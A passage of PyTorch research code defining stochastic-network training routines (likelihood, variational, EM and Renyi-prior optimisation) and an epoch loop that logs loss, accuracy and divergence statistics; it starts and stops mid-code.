:paramlist[i].grad= None\n\t\treturn\n\n\tdef normalize_grad(self,paramlist:List):\n\t\tlength = paramlist.__len__()\n\n\t\tfor i in range(length):\n\t\t\tg = paramlist[i].grad\n\t\t\tparamlist[i].grad = paramlist[i].grad/ float((math.log(g.shape[1])))\n\n\tdef deltac_optimization(self,inputs,labels,usemin=False,concentration=1.0):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples= 0\n\t\ttotal_corrects= 0\n\t\t#TODO\n\t\tsampler = Sampler(blockidx=-1)\n\t\twhile True:\n\n\t\t\titernum += 1\n\t\t\toutput_model, lpmgh, stats = self.model(inputs,usemin=usemin,concentration=concentration)\n\t\t\toutput, lprob = sampler(output_model,concentration=concentration)\n\t\t\tlabels_onehot = self.label_to_onehot(output_model,labels)\n\t\t\tif lpmgh is not None:\n\t\t\t\tlprob = self.model.accumulate_lprob(lprob,usemin=usemin)\n\t\t\t\tlpmgh= self.model.accumulate_lprob_pair(lprob,lpmgh,usemin=usemin)\n\t\t\telse:\n\t\t\t\tlpmgh= lprob\n\n\t\t\tisoracle = ((output* labels_onehot).sum(dim=1,keepdim=True)>0).squeeze().float()\n\t\t\tismodel= (lpmgh.exp()>torch.rand_like(lpmgh)).float().squeeze()\n\t\t\tlpmodel = lpmgh*(ismodel.float()) + (1-lpmgh.exp()).log()*(1- ismodel.float())\n\t\t\tlpstate = lpmodel\n\t\t\tisdeltac = (ismodel*isoracle + (1-ismodel)*(1-isoracle))>0\n\t\t\tto_be_summed = isdeltac\n\t\t\tloss = (-lpstate * (to_be_summed.float())).sum()\n\t\t\t# loss = -lp_hgm*(2*to_be_summed.float()-1)\n\t\t\tloss = loss / batchsz\n\t\t\tdefinition.hasnan(loss)\n\t\t\tdefinition.hasinf(loss)\n\t\t\tloss.sum().backward()\n\t\t\tif iternum == 1:\n\t\t\t\tret_output= output_model\n\t\t\t\t# ret_output = ret_output-ret_output.logsumexp(dim=1,keepdim=True).detach()\n\t\t\t\tret_output = ret_output.log_softmax(dim=1)# - ret_output.logsumexp(dim=1, keepdim=True).detach()\n\t\t\t\tret_likelihood = self.opts.optimizeropts.loss(ret_output.view(ret_output.shape[0],-1), labels).mean().detach()\n\t\t\t\tret_entropy = -lpmgh.mean().detach()\n\t\t\t\ttotal_samples += float(inputs.shape[0])\n\t\t\t\ttotal_corrects += to_be_summed.sum().float()\n\t\t\tif to_be_summed.all():\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\treturn ret_likelihood,ret_output, total_corrects/total_samples, ret_entropy,stats\n\n\tdef delta_optimization(self,inputs,labels):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\tlprob_currect = 0\n\t\tmode='delta'\n\t\twhile True:\n\t\t\titernum += 1\n\t\t\toutput, lp_mgh, _ = self.model(inputs, mode=mode)\n\t\t\t# TODO min\n\t\t\toutputlabelsample = output.max(dim=1, keepdim=True)[1]\n\n\t\t\t# calc accept/reject masks\n\t\t\tis_oracle = (outputlabelsample.squeeze() == labels).float()\n\t\t\tis_model = (lp_mgh.exp() > torch.rand_like(lp_mgh)).float()\n\t\t\tlp_ogh = is_oracle.log()\n\t\t\tlp_delta_gh = ((lp_ogh.exp()+lp_mgh.exp()-2*lp_ogh.exp()*lp_mgh.exp())+definition.epsilon).log()\n\t\t\tlp_deltac_gh = (1-lp_ogh.exp() - lp_mgh.exp()*(1-2*lp_ogh.exp())+definition.epsilon).log()\n\t\t\tisdelta = lp_delta_gh.exp() > torch.rand_like(lp_deltac_gh)\n\t\t\tisdeltac = isdelta^1\n\t\t\tto_be_summed = (isdelta).squeeze().detach()\n\n\t\t\tif iternum == 1:\n\t\t\t\tret_ldeltac = -lp_delta_gh.mean().detach()\n\n\t\t\t#lprob_currect += (((-lp_mgh.squeeze() * (to_be_summed.float())) / batchsz).sum()).detach()\n\t\t\tlossdc = ((lp_delta_gh[to_be_summed].float()).sum())/batchsz #+ (lp_delta_gh[to_be_summed^1].sum())/batchsz\n\t\t\tloss = lossdc.sum()\n\t\t\tdefinition.hasnan(loss)\n\t\t\tdefinition.hasinf(loss)\n\t\t\tif to_be_summed.float().sum() >0:# 0:\n\t\t\t\tpass\n\t\t\t\tloss.sum().backward()\n\t\t\t\tbreak\n\t\t\tif to_be_summed.all():\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\treturn ret_ldeltac, ret_ldeltac, ret_ldeltac, ret_ldeltac\n\n\tdef likelihoodc_optimization(self,inputs,labels):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\tlprob_currect = 0\n\n\t\twhile True:\n\t\t\titernum += 1\n\t\t\toutput, lp_hgm, _ = self.model(inputs)\n\t\t\toutput, lprob = sample_manual(output)\n\t\t\toutput = output.log()\n\t\t\tlp_hgm += lprob.squeeze()\n\t\t\t# lp_hgm = softmin_pair(lp_hgm,lprob.squeeze())\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels)\n\n\n\t\t\tis_oracle = (-loss).exp() > torch.rand_like(loss)\n\t\t\tto_be_summed = (is_oracle^1).squeeze().detach()\n\n\t\t\tif iternum == 1:\n\t\t\t\tret_likelihood = loss.mean().detach()\n\t\t\t\tret_entropy = -lp_hgm.mean().detach()\n\n\t\t\tloss = lp_hgm[to_be_summed].sum()\n\n\t\t\tif to_be_summed.float().sum() >0:# 0:\n\t\t\t\tloss = loss / to_be_summed.sum().float() # batchsz\n\t\t\t\tdefinition.hasnan(loss)\n\t\t\t\tdefinition.hasinf(loss)\n\t\t\t\tpass\n\t\t\t\tloss.backward()\n\t\t\t\tbreak\n\n\t\t\tif to_be_summed.all():\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\treturn ret_likelihood,ret_entropy, ret_entropy, ret_entropy\n\n\tdef likelihood_roll_optimization(self,inputs,labels):\n\t\troll_coef= 1\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples= 0\n\t\ttotal_corrects= 0\n\t\tlprob_currect = 0\n\t\tusemin= False\n\t\tsampler = Sampler(blockidx=-1)\n\t\twhile True:\n\t\t\titernum += 1\n\t\t\toutput, lp_hgm, _ = self.model(inputs)\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels)\n\t\t\tif iternum== 1:\n\t\t\t\troll_size= loss.new_ones(loss.size())*roll_coef\n\t\t\troll_current = torch.min((-loss).exp(), roll_size)\n\t\t\troll_size = roll_size -roll_current\n\n\t\t\tif iternum == 1:\n\t\t\t\tret_likelihood = loss.mean().detach()\n\t\t\t\tret_entropy = -lp_hgm.mean().detach()\n\n\n\t\t\tif roll_current.sum() >0:\n\t\t\t\ttotal_corrects += (-loss).exp().sum().float()\n\t\t\t\tloss = -(self.model.accumulate_lprob_pair(lp_hgm,-loss,usemin=usemin))*(roll_current.detach())\n\t\t\t\ttotal_samples += float(inputs.shape[0])\n\n\t\t\t\tloss = loss / (batchsz*roll_coef)\n\t\t\t\tdefinition.hasnan(loss)\n\t\t\t\tdefinition.hasinf(loss)\n\t\t\t\tloss.sum(). backward()\n\n\t\t\tif roll_size.sum()==0:\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, roll_size != 0)\n\t\t\tlabels = self.logical_index(labels, roll_size != 0)\n\t\t\troll_size = self.logical_index(roll_size, roll_size != 0)\n\t\treturn ret_likelihood,ret_entropy, total_corrects/total_samples, ret_entropy\n\n\tdef model_stats(self,inputs,labels):\n\t\t''' Returns Lable Likelihood, generated output'''\n\t\twith torch.no_grad():\n\t\t\toutput, logprob, _ = self.model(inputs)\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels).mean()\n\t\treturn loss, output.detach()\n\n\tdef prior_variational_optimization(self, inputs, labels, coef=1):\n\t\tusemin = False\n\t\tmode = 'variational_prior'\n\t\tsampler = Sampler(blockidx=-1)\n\t\toutput, lpmodel_given_h, _ = self.model(inputs, mode=mode, usemin=usemin)\n\t\toutput, lp_temp = sampler(output, mode=mode)\n\t\tif lpmodel_given_h is not None:\n\t\t\tlp_temp = self.model.accumulate_lprob(lp_temp, usemin=usemin)\n\t\t\tlpmodel_given_h = self.model.accumulate_lprob_pair(lpmodel_given_h,lp_temp,usemin=usemin)\n\t\telse:\n\t\t\tlpmodel_given_h = lp_temp\n\t\tcoef2 = (lpmodel_given_h-1).detach()\n\t\t((-lpmodel_given_h*coef2).mean() * coef).backward()\n\n\t\treturn\n\n\tdef variational_optimization(self,inputs,labels):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples = 0\n\t\ttotal_corrects = 0\n\t\tlprob_currect = 0\n\t\tusemin= False\n\t\tsampler = Sampler(blockidx=-1)\n\n\t\twhile True:\n\t\t\titernum += 1\n\t\t\toutput, lp_hgm, state = self.model(inputs)\n\t\t\tif iternum ==1:\n\t\t\t\tonehot_labels = self.label_to_onehot(output, labels)\n\n\t\t\toutput, lprob = sampler(output)\n\t\t\tif lp_hgm is not None:\n\t\t\t\tlprob = self.model.accumulate_lprob(lprob,usemin=usemin)\n\t\t\t\tlp_hgm = self.model.accumulate_lprob_pair(lprob,lp_hgm,usemin=usemin)\n\t\t\telse:\n\t\t\t\tlp_hgm = lprob\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels)\n\t\t\tis_oracle = (-loss).exp() > torch.rand_like(loss)\n\t\t\tto_be_summed = (is_oracle).squeeze().detach()\n\t\t\tif iternum == 1:\n\t\t\t\tret_likelihood = loss.mean().detach()\n\t\t\t\tret_entropy = -lp_hgm.mean().detach()\n\t\t\tloss = lp_hgm\n\t\t\tloss = -loss[to_be_summed].sum()\n\t\t\ttotal_samples += float(inputs.shape[0])\n\t\t\ttotal_corrects += to_be_summed.sum().float()\n\t\t\tif to_be_summed.float().sum() >0:# 0:\n\t\t\t\tloss = loss / batchsz\n\t\t\t\tdefinition.hasnan(loss)\n\t\t\t\tdefinition.hasinf(loss)\n\t\t\t\tpass\n\t\t\t\tloss.backward()\n\t\t\t\t#break\n\n\t\t\t\tlp_hgm_o = self.model.p_invert(state, onehot_labels)\n\t\t\t\tcoef_hgmo = (lp_hgm - lp_hgm_o - 1).detach()\n\t\t\t\tloss = lp_hgm_o * coef_hgmo\n\t\t\t\tloss = -loss[to_be_summed].sum()/batchsz\n\t\t\t\tloss.backward()\n\t\t\tif to_be_summed.all():\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\t\tonehot_labels = self.logical_index(onehot_labels, to_be_summed ^ 1)\n\t\treturn ret_likelihood,ret_entropy, total_corrects/total_samples, ret_entropy\n\n\tdef likelihood_optimization(self,inputs,labels,usemin=False,concentration=1.0):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples= 0\n\t\ttotal_corrects= 0\n\t\t#TODO\n\t\tsampler = Sampler(blockidx=-1)\n\t\twhile True:\n\n\t\t\titernum += 1\n\t\t\toutput_model, lp_hgm, stats = self.model(inputs,usemin=usemin,concentration=concentration)\n\t\t\toutput, lprob = sampler(output_model,concentration=concentration)\n\n\t\t\tif lp_hgm is not None:\n\t\t\t\tlprob = self.model.accumulate_lprob(lprob,usemin=usemin)\n\t\t\t\tlp_hgm = self.model.accumulate_lprob_pair(lprob,lp_hgm,usemin=usemin)\n\t\t\telse:\n\t\t\t\tlp_hgm= lprob\n\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(inputs.shape[0], -1), labels)\n\t\t\tis_oracle = (-loss).exp() > torch.rand_like(loss)\n\t\t\tto_be_summed = (is_oracle).squeeze().detach()\n\n\t\t\tif iternum == 1:\n\t\t\t\tret_output= output_model.sigmoid().log().detach()\n\t\t\t\tret_output = ret_output-ret_output.logsumexp(dim=1,keepdim=True).detach()\n\t\t\t\tret_likelihood = self.opts.optimizeropts.loss(ret_output.view(-1, self.opts.dataopts.classnum), labels).mean().detach()\n\t\t\t\tret_entropy = -lp_hgm.mean().detach()\n\t\t\t\ttotal_samples += float(inputs.shape[0])\n\t\t\t\ttotal_corrects += to_be_summed.sum().float()\n\t\t\tloss = (-lp_hgm * (to_be_summed.float())).sum()\n\t\t\tloss = loss / batchsz\n\t\t\tdefinition.hasnan(loss)\n\t\t\tdefinition.hasinf(loss)\n\t\t\tloss.backward()\n\t\t\tif(to_be_summed.all()):\n\t\t\t\tbreak\n\n\t\t\t# break\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\t# print(stats['jsd'],end='')\n\t\treturn ret_likelihood,ret_output, total_corrects/total_samples, ret_entropy,stats\n\n\tdef likelihood_optimizationv2(self,inputs,labels,usemin=False):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples= 0\n\t\ttotal_corrects= 0\n\t\tsampler = Sampler(blockidx=-1)\n\t\twhile True:\n\n\t\t\titernum += 1\n\t\t\toutput_model, lp_hgm, stats = self.model(inputs,usemin=usemin)\n\t\t\toutput, lprob = sampler.sample_concentrated(output_model,concentration=1)\n\n\t\t\tif lp_hgm is not None:\n\t\t\t\tlprob = self.model.accumulate_lprob(lprob,usemin=usemin)\n\t\t\t\tlp_hgm = self.model.accumulate_lprob_pair(lprob,lp_hgm,usemin=usemin)\n\t\t\telse:\n\t\t\t\tlp_hgm= lprob\n\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels)\n\t\t\tto_be_summed = (-loss).exp().mean() > torch.rand_like(loss)\n\n\t\t\tif iternum == 1:\n\t\t\t\tret_output= output_model.detach()\n\t\t\t\tret_output = ret_output-ret_output.logsumexp(dim=1,keepdim=True).detach()\n\t\t\t\tret_likelihood = self.opts.optimizeropts.loss(ret_output.view(-1, self.opts.dataopts.classnum), labels).mean().detach()\n\t\t\t\tret_entropy = -lp_hgm.mean().detach()\n\t\t\t\ttotal_samples += float(inputs.shape[0])\n\t\t\t\ttotal_corrects += to_be_summed.sum().float()\n\t\t\tif to_be_summed.float().sum() >0:\n\t\t\t\tloss = (-lp_hgm).mean()\n\t\t\t\tdefinition.hasnan(loss)\n\t\t\t\tdefinition.hasinf(loss)\n\t\t\t\tloss.backward()\n\n\t\t\tif to_be_summed.all():\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\t# print(stats['jsd'],end='')\n\t\treturn ret_likelihood,ret_output, total_corrects/total_samples, ret_entropy,stats\n\tdef intersect_optimization(self,inputs,labels):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples= 0\n\t\ttotal_corrects= 0\n\t\tusemin= False\n\t\tsampler = Sampler(blockidx=-1)\n\t\twhile True:\n\n\t\t\titernum += 1\n\t\t\toutput_model, lp_hgm, stats = self.model.forward_intersect(inputs,mode='intersect')\n\t\t\toutput, lprob = sampler(output_model,logprob_accumulate = lp_hgm, mode= 'intersect')\n\n\t\t\tlp_hgm = lprob.squeeze()\n\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels)\n\t\t\tis_oracle = (-loss).exp() > torch.rand_like(loss)\n\t\t\tto_be_summed = (is_oracle).squeeze().detach()\n\n\t\t\tif iternum == 1:\n\t\t\t\tret_output= output_model.detach()\n\t\t\t\tret_output = ret_output-ret_output.logsumexp(dim=1,keepdim=True).detach()\n\t\t\t\tret_likelihood = self.opts.optimizeropts.loss(ret_output.view(-1, self.opts.dataopts.classnum), labels).mean().detach()\n\t\t\t\tret_entropy = -lp_hgm.mean().detach()\n\t\t\t\ttotal_samples += float(inputs.shape[0])\n\t\t\t\ttotal_corrects += to_be_summed.sum().float()\n\t\t\tif to_be_summed.float().sum() >0:\n\t\t\t\tloss = (-lp_hgm[to_be_summed]).sum()\n\t\t\t\tloss = loss / batchsz\n\t\t\t\tdefinition.hasnan(loss)\n\t\t\t\tdefinition.hasinf(loss)\n\t\t\t\tloss.backward()\n\n\t\t\tif to_be_summed.all():\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\t# print(stats['jsd'],end='')\n\t\treturn ret_likelihood,ret_output, total_corrects/total_samples, ret_entropy,stats\n\n\tdef EM(self,inputs,labels):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples= 0\n\t\ttotal_corrects= 0\n\t\tusemin= False\n\n\t\titernum += 1\n\t\toutput, lp_hgm, stats = self.model(inputs)\n\t\tloss = -self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels)\n\t\tif lp_hgm is not None:\n\t\t\tlp_hgm = self.model.accumulate_lprob_pair(loss,lp_hgm,usemin=usemin)\n\t\telse:\n\t\t\tlp_hgm= loss\n\n\t\t(-lp_hgm.mean()).backward()\n\n\n\n\t\treturn -loss.mean().detach(), output.detach(), 1, lp_hgm.mean(), stats\n\n\n\tdef likelihood_flat_optimization(self,inputs,labels,priorcoef=1.0):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples= 0\n\t\ttotal_corrects= 0\n\t\tusemin= False\n\t\tsampler = Sampler(blockidx=-1)\n\t\tprint(\"done: \",end='',flush=True)\n\t\twhile True:\n\n\t\t\titernum += 1\n\t\t\toutput_model, lp_hgm, stats = self.model(inputs,usemin=usemin)\n\t\t\toutput, lprob = sampler(output_model)\n\n\t\t\tif lp_hgm is not None:\n\t\t\t\tlprob = self.model.accumulate_lprob(lprob,usemin=usemin)\n\t\t\t\tlp_hgm = self.model.accumulate_lprob_pair(lprob, lp_hgm,usemin=usemin)\n\t\t\telse:\n\t\t\t\tlp_hgm = lprob\n\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels)\n\t\t\tis_oracle = (-loss).exp() > torch.rand_like(loss)\n\t\t\tto_be_summed = (is_oracle).squeeze().detach()\n\n\t\t\tif iternum == 1:\n\t\t\t\tret_output= output_model.detach()\n\t\t\t\tret_output = ret_output-ret_output.logsumexp(dim=1,keepdim=True).detach()\n\t\t\t\tret_likelihood = self.opts.optimizeropts.loss(ret_output.view(-1, self.opts.dataopts.classnum), labels).mean().detach()\n\t\t\t\tret_entropy = -lp_hgm.mean().detach()\n\t\t\t\ttotal_samples += float(inputs.shape[0])\n\t\t\t\ttotal_corrects += to_be_summed.sum().float()\n\t\t\tif to_be_summed.float().sum() >0:\n\t\t\t\tloss = (-lp_hgm[to_be_summed]).sum()\n\t\t\t\tloss = loss / batchsz\n\t\t\t\tif iternum ==1:\n\t\t\t\t\tloss = loss + lp_hgm.mean()*priorcoef\n\t\t\t\tdefinition.hasnan(loss)\n\t\t\t\tdefinition.hasinf(loss)\n\t\t\t\tloss.backward()\n\n\t\t\tif to_be_summed.all():\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\t\tpercent = 100*(1-(inputs.shape[0]/batchsz))\n\t\t\tprint(int(percent),end='\\b'*(str(int(percent)).__len__()),flush=True)\n\n\t\tprint(int(percent), end=' ', flush=True)\n\t\t# print(\"JSD: \", stats['jsd'],end=' ')\n\t\treturn ret_likelihood,ret_output, total_corrects/total_samples, ret_entropy,stats\n\n\tdef likelihood_px_optimization(self,inputs,labels):\n\t\tbatchsz = inputs.shape[0]\n\t\titernum= 0\n\t\ttotal_samples= 0\n\t\ttotal_corrects= 0\n\t\tusemin= False\n\t\tsampler = Sampler(blockidx=-1)\n\t\tflag1= True\n\t\twhile True:\n\n\t\t\titernum += 1\n\t\t\toutput_model, lp_hgm, stats = self.model(inputs)\n\t\t\toutput, lprob = sampler(output_model)\n\n\t\t\tif lp_hgm is not None:\n\t\t\t\tlprob = self.model.accumulate_lprob(lprob,usemin=usemin)\n\t\t\t\tlp_hgm = self.model.accumulate_lprob_pair(lprob,lp_hgm,usemin=usemin)\n\t\t\telse:\n\t\t\t\tlp_hgm= lprob\n\n\t\t\tloss = self.opts.optimizeropts.loss(output.view(-1, self.opts.dataopts.classnum), labels)\n\t\t\tis_oracle = (-loss).exp() > torch.rand_like(loss)\n\t\t\tto_be_summed = (is_oracle).squeeze().detach()\n\n\t\t\tif iternum == 1:\n\t\t\t\tret_output= output_model.detach()\n\t\t\t\tret_output = ret_output-ret_output.logsumexp(dim=1,keepdim=True).detach()\n\t\t\t\tret_likelihood = self.opts.optimizeropts.loss(ret_output.view(-1, self.opts.dataopts.classnum), labels).mean().detach()\n\t\t\t\tret_entropy = -lp_hgm.mean().detach()\n\t\t\ttotal_samples += float(inputs.shape[0])\n\n\t\t\tif to_be_summed.float().sum() >0:\n\t\t\t\tloss = (-lp_hgm[to_be_summed].sum() + lp_hgm[to_be_summed^1].sum())/batchsz\n\t\t\t\ttotal_corrects += to_be_summed.sum().float()\n\t\t\t\t# loss = loss / batchsz\n\t\t\t\tdefinition.hasnan(loss)\n\t\t\t\tdefinition.hasinf(loss)\n\t\t\t\tloss.backward()\n\t\t\t\tbreak\n\t\t\tif to_be_summed.all():\n\t\t\t\tbreak\n\t\t\tinputs = self.logical_index(inputs, to_be_summed ^ 1)\n\t\t\tlabels = self.logical_index(labels, to_be_summed ^ 1)\n\t\t# print(stats['jsd'],end='')\n\t\treturn ret_likelihood,ret_output, total_corrects/total_samples, ret_entropy,stats\n\n\tdef prior_optimization(self,inputs,labels,coef=1.0,mode=None,concentrate=1.0):\n\t\tif coef == 0: return\n\t\tusemin= False\n\t\tif mode is None : mode = self.opts.netopts.customdict['reg_mode']\n\t\tmode = 'likelihood'\n\t\t# mode = 'cross_entropy_unif'\n\t\tsampler = Sampler(blockidx=-1)\n\t\toutput, lpmodel_given_h,_ = self.model(inputs,mode=mode,usemin=usemin,concentration=concentrate)\n\t\toutput , lp_temp = sampler(output,mode=mode,concentration=concentrate)\n\t\tif lpmodel_given_h is not None:\n\t\t\tlp_temp = self.model.accumulate_lprob(lp_temp,usemin=usemin)\n\t\t\tlpmodel_given_h = self.model.accumulate_lprob_pair(lpmodel_given_h,lp_temp,usemin=usemin)\n\t\telse:\n\t\t\tlpmodel_given_h= lp_temp\n\t\t(lpmodel_given_h.mean()*coef).backward()\n\n\n\t\treturn\n\tdef renyi_prior(self,inputs,coef=1.0):\n\t\tsampler = Sampler(blockidx=-1)\n\t\tbatchsz = inputs.shape[0]\n\t\tmode = 'likelihood'\n\t\tusemin = False\n\t\tbatchsz = inputs.shape[0]\n\t\ti=0\n\n\t\tdef sample_model(inputs):\n\t\t\toutput, lph1, _ = self.model(inputs, usemin=False, mode=mode)\n\t\t\toutput, lp_temp1 = sampler(output, mode=mode)\n\t\t\tlp_temp1 = self.model.accumulate_lprob(lp_temp1, usemin=usemin)\n\t\t\tlph1 = self.model.accumulate_lprob_pair(lph1, lp_temp1, usemin=usemin)\n\t\t\treturn output,lph1\n\n\t\twith torch.set_grad_enabled(False):\n\t\t\t_, lprob_anchor = sample_model(inputs)\n\t\t\tfor i in range(10):\n\n\t\t\t\t\t\t_, lprob_anchor_temp = sample_model(inputs)\n\t\t\t\t\t\tlprob_anchor = torch.max(lprob_anchor,lprob_anchor_temp)\n\n\t\taccept= lprob_anchor> 100.0\n\t\twhile(~(accept.all())):\n\t\t\t_, lprob = sample_model(inputs)\n\t\t\taccept = (lprob_anchor + torch.rand_like(lprob).log())<= lprob\n\t\t\t(lprob[accept.squeeze()].sum()/batchsz).backward()\n\t\t\tinputs = self.logical_index(inputs,~accept)\n\t\t\tlprob_anchor = self.logical_index(lprob_anchor,~accept)\n\n\n\n\n\n\t\tdef randgen(lph1):\n\t\t\treturn torch.rand_like(lph1).log()\n\n\n\tdef renyi_prior_MCMC(self,inputs,coef=1.0):\n\t\tsampler = Sampler(blockidx=-1)\n\t\tbatchsz = inputs.shape[0]\n\t\tmode = 'likelihood'\n\t\tusemin = False\n\t\tbatchsz = inputs.shape[0]\n\t\ti=0\n\n\t\tdef sample_model(inputs):\n\t\t\toutput, lph1, _ = self.model(inputs, usemin=False, mode=mode)\n\t\t\toutput, lp_temp1 = sampler(output, mode=mode)\n\t\t\tlp_temp1 = self.model.accumulate_lprob(lp_temp1, usemin=usemin)\n\t\t\tlph1 = self.model.accumulate_lprob_pair(lph1, lp_temp1, usemin=usemin)\n\t\t\treturn output,lph1\n\t\tfor i in range(100):\n\t\t\t_, lph1 = sample_model(inputs)\n\t\t\tif(i==0):\n\t\t\t\tlph_anchor = lph1\n\t\t\t\tcontinue\n\t\t\tselect_new = (2*(lph1-lph_anchor)) > torch.rand_like(lph1).log()\n\t\t\tlph_anchor[select_new] = lph1[select_new]\n\n\t\tlph_anchor.mean().backward()\n\n\n\n\n\t\tdef randgen(lph1):\n\t\t\treturn torch.rand_like(lph1).log()\n\n\n\tdef run_epoch(self,prefixprint:str,epoch,path)->dict:\n\t\trun_loss = 0.0\n\t\treg_loss = 0\n\t\trun_lprob_correct=0.0\n\t\ttrytotal = 0\n\t\tcorrects = 0\n\t\ttotalsamples = 0\n\t\tthisNorm=0\n\t\tself.model.train()\n\n\n\t\t# TODO: Train on batches\n\t\tfor batch_n,data in enumerate(self.trainloader):\n\t\t\tinputs, labels = data\n\t\t\tinputs, labels = inputs.to(self.opts.epocheropts.device),labels.to(self.opts.epocheropts.device)\n\t\t\tif batch_n ==0:\n\t\t\t\tfix_batch= inputs[0:min(inputs.shape[0],30),0:,0:,0:]\n\t\t\t\tfix_labels = labels[0:min(inputs.shape[0],30)]\n\t\t\t\tfix_batch = self.order_batch_by_label(fix_batch,fix_labels)\n\t\t\tfor i in range(1):\n\t\t\t\tlog_prob_correct_temp=torch.zeros(1)\n\t\t\t\tif not self.opts.netopts.customdict[\"exact\"]:\n\t\t\t\t\t# Stochastic\n\t\t\t\t\tpriorcoef= 1\n\t\t\t\t\twith torch.autograd.set_detect_anomaly(False):\n\t\t\t\t\t\tloss,\\\n\t\t\t\t\t\toutput,\\\n\t\t\t\t\t\ttrys,\\\n\t\t\t\t\t\tlog_prob_correct_temp,\\\n\t\t\t\t\t\tstats= self.likelihood_optimization(inputs,labels,usemin=False,concentration=1)\n\t\t\t\t\t\t# (-self.model.get_lrob_model()[0]/128).backward()\n\t\t\t\t\t\t# self.prior_optimization(inputs, labels, coef=1.0, mode='likelihood',concentrate=10)\n\t\t\t\t\t\t# self.renyi_prior_MCMC(inputs,coef=priorcoef)\n\t\t\t\t\t\tif self.opts.netopts.customdict['divgreg']:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\t\t# self.prior_optimization(inputs, labels,coef=self.opts.netopts.customdict['reg_coef'])\n\t\t\t\t\t\t# loss, output = self.model_stats(inputs,labels)\n\t\t\t\t\t\toutputfull = output\n\t\t\t\telse:\n\t\t\t\t\ttrys= 1\n\t\t\t\t\t# Exact\n\t\t\t\t\toutput,logprob,model_prob = self.model(inputs)\n\t\t\t\t\toutputfull = output\n\t\t\t\t\toutput = output.view(-1, self.opts.dataopts.classnum)\n\t\t\t\t\tloss = self.opts.optimizeropts.loss(output, labels).mean()\n\t\t\t\t\t(loss).backward()\n\t\t\tif batch_n % 10 == -1:\n\t\t\t\tself.model.print(fix_batch, epoch, batch_n)\n\t\t\tthisNorm = self.block_grad(list(self.model.parameters()))\n\n\t\t\tself.optimizer.step()\n\t\t\tself.optimizer.zero_grad()\n\t\t\t# self.model.paint_stochastic_graph()\n\n\t\t\t''' Print Output'''\n\t\t\t#TODO: Print Batch Statistics\n\t\t\tpredlab = torch.argmax(output, 1, keepdim=False).squeeze()\n\t\t\tmeanoutput = output.logsumexp(dim=0,keepdim=True)\n\t\t\tmeanoutput = meanoutput - meanoutput.logsumexp(dim=1,keepdim=True)\n\t\t\tjsd= (output.exp()*output).sum(dim=1).mean() - (meanoutput.exp()*meanoutput).sum()\n\t\t\trun_loss += loss.item()\n\t\t\trun_lprob_correct += log_prob_correct_temp\n\t\t\taccthis = (predlab == labels).sum().item()\n\t\t\tcorrects += accthis\n\t\t\ttotalsamples += labels.size(0)\n\t\t\ttrain_acc = corrects/totalsamples\n\t\t\ttrain_loss = (run_loss/(batch_n+1))\n\t\t\ttrytotal += trys\n\t\t\ttryavg = trytotal/(batch_n+1)\n\t\t\ttrain_avg_prob_correct = run_lprob_correct/(batch_n+1)\n\t\t\tjsdtotal = (jsd + jsdtotal)/2 if batch_n !=0 else jsd\n\t\t\tprint(\"\",end='\\r')\n\t\t\tprint(' '+ prefixprint +':' \n\t\t\t\t 'batch: %d '%(batch_n) +\n\t\t\t\t ' train_likelihood: %.4f'% train_loss +\n\t\t\t ' train_posterior: %.4f' % (thisNorm) +\n\t\t\t\t ' model_lprob: %f' % (train_avg_prob_correct).item() +\n\t\t\t\t ' trials: %.4f' % tryavg+\n\t\t\t\t\t'jsd: %.3f' % jsdtotal +\n\t\t\t ' train accuracy: %.2f'% (train_acc*100),end=\" \"\n\n\t\t\t )\n\t\tscalar_dict = self.model.get_scalar_dict()\n\t\tself.print(' '+ prefixprint + ':'\n\t\t 'batch: %d ' % (batch_n) 